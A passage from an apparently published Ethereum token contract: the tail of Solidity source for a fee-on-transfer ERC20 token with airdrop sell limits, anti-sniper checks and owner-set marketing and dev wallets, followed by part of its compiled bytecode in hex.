_setAutomatedMarketMakerPair(pair, value); } function getWalletMaxAirdropSell(address holder) public view returns (uint256){ if(airDropLimitInEffect){ return _airDroppedTokenAmount[holder].mul(airDropDailySellPerc).div(100); } return _airDropTokensRemaining[holder]; } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // only use to prevent sniper buys in the first blocks. if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when sell if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } // airdrop limits if(airDropLimitInEffect){ // Check if Limit is in effect if(airDropLimitLiftDate <= block.timestamp){ airDropLimitInEffect = false; // set the limit to false if the limit date has been exceeded } else { uint256 senderBalance = balanceOf(from); // get total token balance of sender if(_isAirdoppedWallet[from] && senderBalance.sub(amount) < _airDropTokensRemaining[from]){ require(_airDropAddressNextSellDate[from] <= block.timestamp && block.timestamp >= airDropLimitLiftDate.sub(9 days), "_transfer:: Please read the contract for your next sale date."); uint256 airDropMaxSell = getWalletMaxAirdropSell(from); // airdrop 10% max sell of total airdropped tokens per day for 10 days // a bit of strange math here. The Amount of tokens being sent PLUS the amount of White List Tokens Remaining MINUS the sender's balance is the number of tokens that need to be considered as WhiteList tokens. // the check a few lines up ensures no subtraction overflows so it can never be a negative value. uint256 tokensToSubtract = amount.add(_airDropTokensRemaining[from]).sub(senderBalance); require(tokensToSubtract <= airDropMaxSell, "_transfer:: May not sell more than allocated tokens in a single day until the Limit is lifted."); _airDropTokensRemaining[from] = _airDropTokensRemaining[from].sub(tokensToSubtract); _airDropAddressNextSellDate[from] = block.timestamp + (1 days * (tokensToSubtract.mul(100).div(airDropMaxSell)))/100; // Only push out timer as a % of the transfer, so 5% could be sold in 1% chunks over the course of a day, for example. } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForBuyBack += fees * sellBuyBackFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForBuyBack += fees * buyBuyBackFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForBuyBack + tokensForDev; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForBuyBack = ethBalance.mul(tokensForBuyBack).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev - ethForBuyBack; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForBuyBack = 0; tokensForDev = 0; (bool success,) = address(marketingWallet).call{value: ethForMarketing}(""); (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } // keep leftover ETH for buyback only if there is a buyback fee, if not, send the remaining ETH to the marketing wallet if it accumulates if(buyBuyBackFee == 0 && sellBuyBackFee == 0 && address(this).balance >= 1 ether){ (success,) = address(marketingWallet).call{value: address(this).balance}(""); } } // force Swap back if slippage above 49% for launch. function forceSwapBack() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); require(contractBalance >= totalSupply() / 100, "Can only swap back if more than 1% of tokens stuck on contract"); swapBack(); emit OwnerForcedSwapBack(block.timestamp); } // useful for buybacks or to reclaim any ETH on the contract in a way that helps holders. function buyBackTokens(uint256 ethAmountInWei) external onlyOwner { // generate the uniswap pair path of weth -> eth address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); // make the swap uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ethAmountInWei}( 0, // accept any amount of Ethereum path, address(0xdead), block.timestamp ); emit BuyBackTriggered(ethAmountInWei); } }
0x6080604052600436106103f35760003560e01c80637bce5a0411610208578063b62496f511610118578063e2f45605116100ab578063f2fde38b1161007a578063f2fde38b14610bcf578063f637434214610bef578063f755e17c14610c05578063f8b45b0514610c32578063fc155d1d14610c4857600080fd5b8063e2f4560514610b6e578063e7ad9fcd14610b84578063e884f26014610ba4578063f11a24d314610bb957600080fd5b8063c8c8ebe4116100e7578063c8c8ebe414610adc578063d257b34f14610af2578063d85ba06314610b12578063dd62ed3e14610b2857600080fd5b8063b62496f514610a53578063bbc0c74214610a83578063c024666814610aa2578063c876d0b914610ac257600080fd5b806395d89b411161019b578063a0d82dc51161016a578063a0d82dc5146109b0578063a457c2d7146109c6578063a9059cbb146109e6578063a9769b3b14610a06578063aacebbe314610a3357600080fd5b806395d89b411461094f5780639a7a23d6146109645780639c3b4fdc146109845780639fccce321461099a57600080fd5b80638ea5220f116101d75780638ea5220f146108c95780638f8b041e146108e95780639213691314610919578063924de9b71461092f57600080fd5b80637bce5a04146108665780638a8c523c1461087c5780638b701d68146108915780638da5cb5b146108ab57600080fd5b806327c8f8351161030357806351f205e41161029657806370a082311161026557806370a08231146107c6578063715018a6146107fc578063751039fc146108115780637571336a1461082657806375f0a8741461084657600080fd5b806351f205e41461075b57806363abb284146107705780636a486a8e146107905780636ddd1713146107a657600080fd5b806341b319b2116102d257806341b319b2146106a757806349bd5a5e146106d45780634a62bb65146107085780634fbee1931461072257600080fd5b806327c8f835146106355780632e6ed7ef1461064b578063313ce5671461066b578063395093511461068757600080fd5b806319c1f7a8116103865780631e13b4e0116103555780631e13b4e0146105b35780631f3fed8f146105c95780631fe70a98146105df5780632307b441146105f557806323b872dd1461061557600080fd5b806319c1f7a8146105515780631a221dbb146105675780631a8145bb1461057d5780631cd348c01461059357600080fd5b806310d5de53116103c257806310d5de53146104a05780631694505e146104d057806318160ddd1461051c5780631816467f1461053157600080fd5b806306fdde03146103ff578063095ea7b31461042a5780630b166d501461045a578063106b5da11461047e57600080fd5b366103fa57005b600080fd5b34801561040b57600080fd5b50610414610c68565b6040516104219190613076565b60405180910390f35b34801561043657600080fd5b5061044a6104453660046130e3565b610cfa565b6040519015158152602001610421565b34801561046657600080fd5b50610470601c5481565b604051908152602001610421565b34801561048a57600080fd5b5061049e61049936600461310f565b610d11565b005b3480156104ac57600080fd5b5061044a6104bb366004613128565b60266020526000908152604090205460ff1681565b3480156104dc57600080fd5b506105047f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610421565b34801561052857600080fd5b50600254610470565b34801561053d57600080fd5b5061049e61054c366004613128565b610df7565b34801561055d57600080fd5b5061047060245481565b34801561057357600080fd5b5061047060185481565b34801561058957600080fd5b50610470601b5481565b34801561059f57600080fd5b50600754610504906001600160a01b031681565b3480156105bf57600080fd5b5061047060205481565b3480156105d557600080fd5b50610470601a5481565b3480156105eb57600080fd5b5061047060135481565b34801561060157600080fd5b5061044a61061036600461321b565b610e7e565b34801561062157600080fd5b5061044a6106303660046132dd565b6110be565b34801561064157600080fd5b5061050461dead81565b34801561065757600080fd5b5061049e61066636600461331e565b61111d565b34801561067757600080fd5b5060405160128152602001610421565b34801561069357600080fd5b5061044a6106a23660046130e3565b6111d6565b3480156106b357600080fd5b506104706106c2366004613128565b601e6020526000908152604090205481565b3480156106e057600080fd5b506105047f000000000000000000000000a6550d13b32807b71cacf7680e1f7049664a085981565b34801561071457600080fd5b50600c5461044a9060ff1681565b34801561072e57600080fd5b5061044a61073d366004613128565b6001600160a01b031660009081526025602052604090205460ff1690565b34801561076757600080fd5b5061049e61120c565b34801561077c57600080fd5b5061047061078b366004613128565b611308565b34801561079c57600080fd5b5061047060155481565b3480156107b257600080fd5b50600c5461044a9062010000900460ff1681565b3480156107d257600080fd5b506104706107e1366004613128565b6001600160a01b031660009081526020819052604090205490565b34801561080857600080fd5b5061049e611364565b34801561081d57600080fd5b5061044a6113d8565b34801561083257600080fd5b5061049e610841366004613360565b611422565b34801561085257600080fd5b50600654610504906001600160a01b031681565b34801561087257600080fd5b5061047060115481565b34801561088857600080fd5b5061049e611477565b34801561089d57600080fd5b5060215461044a9060ff1681565b3480156108b757600080fd5b506005546001600160a01b0316610504565b3480156108d557600080fd5b50600854610504906001600160a01b031681565b3480156108f557600080fd5b5061044a610904366004613128565b60226020526000908152604090205460ff1681565b34801561092557600080fd5b5061047060165481565b34801561093b57600080fd5b5061049e61094a366004613395565b6114b4565b34801561095b57600080fd5b506104146114fa565b34801561097057600080fd5b5061049e61097f366004613360565b611509565b34801561099057600080fd5b5061047060145481565b3480156109a657600080fd5b50610470601d5481565b3480156109bc57600080fd5b5061047060195481565b3480156109d257600080fd5b5061044a6109e13660046130e3565b6115e9565b3480156109f257600080fd5b5061044a610a013660046130e3565b611638565b348015610a1257600080fd5b50610470610a21366004613128565b601f6020526000908152604090205481565b348015610a3f57600080fd5b5061049e610a4e366004613128565b611645565b348015610a5f57600080fd5b5061044a610a6e366004613128565b60276020526000908152604090205460ff1681565b348015610a8f57600080fd5b50600c5461044a90610100900460ff1681565b348015610aae57600080fd5b5061049e610abd366004613360565b6116cc565b348015610ace57600080fd5b50600f5461044a9060ff1681565b348015610ae857600080fd5b5061047060095481565b348015610afe57600080fd5b5061044a610b0d36600461310f565b611755565b348015610b1e57600080fd5b5061047060105481565b348015610b3457600080fd5b50610470610b433660046133b0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610b7a57600080fd5b50610470600a5481565b348015610b9057600080fd5b5061049e610b9f36600461331e565b6118ac565b348015610bb057600080fd5b5061044a61195f565b348015610bc557600080fd5b5061047060125481565b348015610bdb57600080fd5b5061049e610bea366004613128565b61199c565b348015610bfb57600080fd5b5061047060175481565b348015610c1157600080fd5b50610470610c20366004613128565b60236020526000908152604090205481565b348015610c3e57600080fd5b50610470600b5481565b348015610c5457600080fd5b5061049e610c6336600461310f565b611a87565b606060038054610c77906133e9565b80601f0160208091040260200160405190810160405280929190818152602001828054610ca3906133e9565b8015610cf05780601f10610cc557610100808354040283529160200191610cf0565b820191906000526020600020905b815481529060010190602001808311610cd357829003601f168201915b5050505050905090565b6000610d07338484611ce6565b5060015b92915050565b6005546001600160a01b03163314610d445760405162461bcd60e51b8152600401610d3b90613424565b60405180910390fd5b670de0b6b3a76400006103e8610d5960025490565b610d6490600561346f565b610d6e919061348e565b610d78919061348e565b811015610ddf5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e352560881b6064820152608401610d3b565b610df181670de0b6b3a764000061346f565b60095550565b6005546001600160a01b03163314610e215760405162461bcd60e51b8152600401610d3b90613424565b6008546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b6005546000906001600160a01b03163314610eab5760405162461bcd60e51b8152600401610d3b90613424565b600c54610100900460ff1615610f295760405162461bcd60e51b815260206004820152603760248201527f54726164696e6720697320616c7265616479206163746976652c2063616e6e6f60448201527f742061697264726f70206166746572206c61756e63682e0000000000000000006064820152608401610d3b565b8151835114610f7a5760405162461bcd60e51b815260206004820152601e60248201527f617272617973206d757374206265207468652073616d65206c656e67746800006044820152606401610d3b565b60c8835110610fea5760405162461bcd60e51b815260206004820152603660248201527f43616e206f6e6c792061697264726f70203230302077616c6c657473207065726044820152752074786e2064756520746f20676173206c696d69747360501b6064820152608401610d3b565b60005b83518110156110b457600084828151811061100a5761100a6134b0565b602002602001015190506000848381518110611028576110286134b0565b6020908102919091018101516001600160a01b0384166000908152602283526040808220805460ff1916600190811790915560238552818320849055601f9094529020819055915061107b904290611e0b565b6001600160a01b0383166000908152601e602052604090205561109f338383611e4d565b505080806110ac906134c6565b915050610fed565b5060019392505050565b60006110cb848484611e4d565b6110b48433611118856040518060600160405280602881526020016136bf602891396001600160a01b038a166000908152600160209081526040808320338452909152902054919061285f565b611ce6565b6005546001600160a01b031633146111475760405162461bcd60e51b8152600401610d3b90613424565b6011849055601283905560138290556014819055808261116785876134e1565b61117191906134e1565b61117b91906134e1565b6010819055600a11156111d05760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c6573730000006044820152606401610d3b565b50505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610d079185906111189086611c80565b6005546001600160a01b031633146112365760405162461bcd60e51b8152600401610d3b90613424565b306000908152602081905260409020546002546112559060649061348e565b8110156112ca5760405162461bcd60e51b815260206004820152603e60248201527f43616e206f6e6c792073776170206261636b206966206d6f7265207468616e2060448201527f3125206f6620746f6b656e7320737475636b206f6e20636f6e747261637400006064820152608401610d3b565b6112d2612899565b6040514281527f1b56c383f4f48fc992e45667ea4eabae777b9cca68b516a9562d8cda78f1bb329060200160405180910390a150565b60215460009060ff1615611348576024546001600160a01b038316600090815260236020526040902054610d0b9160649161134291612b6b565b90612bea565b506001600160a01b03166000908152601f602052604090205490565b6005546001600160a01b0316331461138e5760405162461bcd60e51b8152600401610d3b90613424565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546000906001600160a01b031633146114055760405162461bcd60e51b8152600401610d3b90613424565b50600c805463ff0000ff19169055600f805460ff19169055600190565b6005546001600160a01b0316331461144c5760405162461bcd60e51b8152600401610d3b90613424565b6001600160a01b03919091166000908152602660205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146114a15760405162461bcd60e51b8152600401610d3b90613424565b600c805462ffff00191662010100179055565b6005546001600160a01b031633146114de5760405162461bcd60e51b8152600401610d3b90613424565b600c8054911515620100000262ff000019909216919091179055565b606060048054610c77906133e9565b6005546001600160a01b031633146115335760405162461bcd60e51b8152600401610d3b90613424565b7f000000000000000000000000a6550d13b32807b71cacf7680e1f7049664a08596001600160a01b0316826001600160a01b031614156115db5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610d3b565b6115e58282612c2c565b5050565b6000610d073384611118856040518060600160405280602581526020016136e7602591393360009081526001602090815260408083206001600160a01b038d168452909152902054919061285f565b6000610d07338484611e4d565b6005546001600160a01b0316331461166f5760405162461bcd60e51b8152600401610d3b90613424565b6006546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146116f65760405162461bcd60e51b8152600401610d3b90613424565b6001600160a01b038216600081815260256020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546000906001600160a01b031633146117825760405162461bcd60e51b8152600401610d3b90613424565b620186a061178f60025490565b61179a90600161346f565b6117a4919061348e565b8210156118115760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610d3b565b6103e861181d60025490565b61182890600561346f565b611832919061348e565b82111561189e5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610d3b565b50600a81905560015b919050565b6005546001600160a01b031633146118d65760405162461bcd60e51b8152600401610d3b90613424565b601684905560178390556018829055601981905580826118f685876134e1565b61190091906134e1565b61190a91906134e1565b6015819055600a11156111d05760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c6573730000006044820152606401610d3b565b6005546000906001600160a01b0316331461198c5760405162461bcd60e51b8152600401610d3b90613424565b50600f805460ff19169055600190565b6005546001600160a01b031633146119c65760405162461bcd60e51b8152600401610d3b90613424565b6001600160a01b038116611a2b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610d3b565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314611ab15760405162461bcd60e51b8152600401610d3b90613424565b6040805160028082526060820183526000926020830190803683370190505090507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611b2b57600080fd5b505afa158015611b3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b6391906134f9565b81600081518110611b7657611b766134b0565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110611baa57611baa6134b0565b6001600160a01b03928316602091820292909201015260405163b6f9de9560e01b81527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9091169063b6f9de95908490611c1190600090869061dead90429060040161355a565b6000604051808303818588803b158015611c2a57600080fd5b505af1158015611c3e573d6000803e3d6000fd5b50505050507fa017c1567cfcdd2d750a8c01e39fe2a846bcebc293c7d078477014d68482056882604051611c7491815260200190565b60405180910390a15050565b600080611c8d83856134e1565b905083811015611cdf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610d3b565b9392505050565b6001600160a01b038316611d485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610d3b565b6001600160a01b038216611da95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610d3b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6000611cdf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061285f565b6001600160a01b038316611e735760405162461bcd60e51b8152600401610d3b9061358f565b6001600160a01b038216611e995760405162461bcd60e51b8152600401610d3b906135d4565b80611eaf57611eaa83836000612c80565b505050565b600c5460ff1615612245576005546001600160a01b03848116911614801590611ee657506005546001600160a01b03838116911614155b8015611efa57506001600160a01b03821615155b8015611f1157506001600160a01b03821661dead14155b8015611f275750600554600160a01b900460ff16155b1561224557600c54610100900460ff16611fbf576001600160a01b03831660009081526025602052604090205460ff1680611f7a57506001600160a01b03821660009081526025602052604090205460ff165b611fbf5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610d3b565b600c546301000000900460ff168015611ff057506001600160a01b03831660009081526027602052604090205460ff165b1561204757600d543a11156120475760405162461bcd60e51b815260206004820152601860248201527f4761732070726963652065786365656473206c696d69742e00000000000000006044820152606401610d3b565b600f5460ff161561218e576005546001600160a01b038381169116148015906120a257507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b80156120e057507f000000000000000000000000a6550d13b32807b71cacf7680e1f7049664a08596001600160a01b0316826001600160a01b031614155b1561218e57326000908152600e6020526040902054431161217b5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610d3b565b326000908152600e602052604090204390555b6001600160a01b03821660009081526027602052604090205460ff1680156121cf57506001600160a01b03831660009081526026602052604090205460ff16155b15612245576009548111156122455760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610d3b565b60215460ff16156124d0574260205411612268576021805460ff191690556124d0565b6001600160a01b0383166000908152602081815260408083205460229092529091205460ff1680156122ba57506001600160a01b0384166000908152601f60205260409020546122b88284611e0b565b105b156124ce576001600160a01b0384166000908152601e602052604090205442108015906122f657506020546122f290620bdd80611e0b565b4210155b6123685760405162461bcd60e51b815260206004820152603d60248201527f5f7472616e736665723a3a20506c6561736520726561642074686520636f6e7460448201527f7261637420666f7220796f7572206e6578742073616c6520646174652e0000006064820152608401610d3b565b600061237385611308565b6001600160a01b0386166000908152601f6020526040812054919250906123a79084906123a1908790611c80565b90611e0b565b9050818111156124455760405162461bcd60e51b815260206004820152605e60248201527f5f7472616e736665723a3a204d6179206e6f742073656c6c206d6f726520746860448201527f616e20616c6c6f636174656420746f6b656e7320696e20612073696e676c652060648201527f64617920756e74696c20746865204c696d6974206973206c69667465642e0000608482015260a401610d3b565b6001600160a01b0386166000908152601f60205260409020546124689082611e0b565b6001600160a01b0387166000908152601f60205260409020556064612491836113428484612b6b565b61249e906201518061346f565b6124a8919061348e565b6124b290426134e1565b6001600160a01b0387166000908152601e602052604090205550505b505b30600090815260208190526040902054600a54811080159081906124fc5750600c5462010000900460ff165b80156125125750600554600160a01b900460ff16155b801561253757506001600160a01b03851660009081526027602052604090205460ff16155b801561255c57506001600160a01b03851660009081526025602052604090205460ff16155b801561258157506001600160a01b03841660009081526025602052604090205460ff16155b156125af576005805460ff60a01b1916600160a01b1790556125a1612899565b6005805460ff60a01b191690555b6005546001600160a01b03861660009081526025602052604090205460ff600160a01b9092048216159116806125fd57506001600160a01b03851660009081526025602052604090205460ff165b15612606575060005b6000811561284b576001600160a01b03861660009081526027602052604090205460ff16801561263857506000601554115b1561272057612657606461134260155488612b6b90919063ffffffff16565b90506015546017548261266a919061346f565b612674919061348e565b601b600082825461268591906134e1565b909155505060155460185461269a908361346f565b6126a4919061348e565b601c60008282546126b591906134e1565b90915550506015546019546126ca908361346f565b6126d4919061348e565b601d60008282546126e591906134e1565b90915550506015546016546126fa908361346f565b612704919061348e565b601a600082825461271591906134e1565b9091555061282d9050565b6001600160a01b03871660009081526027602052604090205460ff16801561274a57506000601054115b1561282d57612769606461134260105488612b6b90919063ffffffff16565b90506010546012548261277c919061346f565b612786919061348e565b601b600082825461279791906134e1565b90915550506010546013546127ac908361346f565b6127b6919061348e565b601c60008282546127c791906134e1565b90915550506010546014546127dc908361346f565b6127e6919061348e565b601d60008282546127f791906134e1565b909155505060105460115461280c908361346f565b612816919061348e565b601a600082825461282791906134e1565b90915550505b801561283e5761283e873083612c80565b6128488186613617565b94505b612856878787612c80565b50505050505050565b600081848411156128835760405162461bcd60e51b8152600401610d3b9190613076565b5060006128908486613617565b95945050505050565b3060009081526020819052604081205490506000601d54601c54601a54601b546128c391906134e1565b6128cd91906134e1565b6128d791906134e1565b90508115806128e4575080155b156128ed575050565b6000600282601b5485612900919061346f565b61290a919061348e565b612914919061348e565b905060006129228483611e0b565b90504761292e82612d89565b600061293a4783611e0b565b9050600061295786611342601a5485612b6b90919063ffffffff16565b9050600061297487611342601d5486612b6b90919063ffffffff16565b9050600061299188611342601c5487612b6b90919063ffffffff16565b9050600081836129a18688613617565b6129ab9190613617565b6129b59190613617565b6000601b819055601a819055601c819055601d81905560065460405192935090916001600160a01b039091169086908381818185875af1925050503d8060008114612a1c576040519150601f19603f3d011682016040523d82523d6000602084013e612a21565b606091505b50506008546040519192506001600160a01b0316908590600081818185875af1925050503d8060008114612a71576040519150601f19603f3d011682016040523d82523d6000602084013e612a76565b606091505b50909150508815801590612a8a5750600082115b15612add57612a998983612f58565b601b54604080518a81526020810185905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b601354158015612aed5750601854155b8015612b015750670de0b6b3a76400004710155b15612b5e576006546040516001600160a01b03909116904790600081818185875af1925050503d8060008114612b53576040519150601f19603f3d011682016040523d82523d6000602084013e612b58565b606091505b50909150505b5050505050505050505050565b600082612b7a57506000610d0b565b6000612b86838561346f565b905082612b93858361348e565b14611cdf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610d3b565b6000611cdf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613048565b6001600160a01b038216600081815260276020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b038316612ca65760405162461bcd60e51b8152600401610d3b9061358f565b6001600160a01b038216612ccc5760405162461bcd60e51b8152600401610d3b906135d4565b612d0981604051806060016040528060268152602001613699602691396001600160a01b038616600090815260208190526040902054919061285f565b6001600160a01b038085166000908152602081905260408082209390935590841681522054612d389082611c80565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101611dfe565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612dbe57612dbe6134b0565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612e3757600080fd5b505afa158015612e4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e6f91906134f9565b81600181518110612e8257612e826134b0565b60200260200101906001600160a01b031690816001600160a01b031681525050612ecd307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611ce6565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612f2290859060009086903090429060040161362e565b600060405180830381600087803b158015612f3c57600080fd5b505af1158015612f50573d6000803e3d6000fd5b505050505050565b612f83307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611ce6565b60405163f305d71960e01b815230600482015260248101839052600060448201819052606482015261dead60848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c4016060604051808303818588803b15801561300857600080fd5b505af115801561301c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613041919061366a565b5050505050565b600081836130695760405162461bcd60e51b8152600401610d3b9190613076565b506000612890848661348e565b600060208083528351808285015260005b818110156130a357858101830151858201604001528201613087565b818111156130b5576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146130e057600080fd5b50565b600080604083850312156130f657600080fd5b8235613101816130cb565b946020939093013593505050565b60006020828403121561312157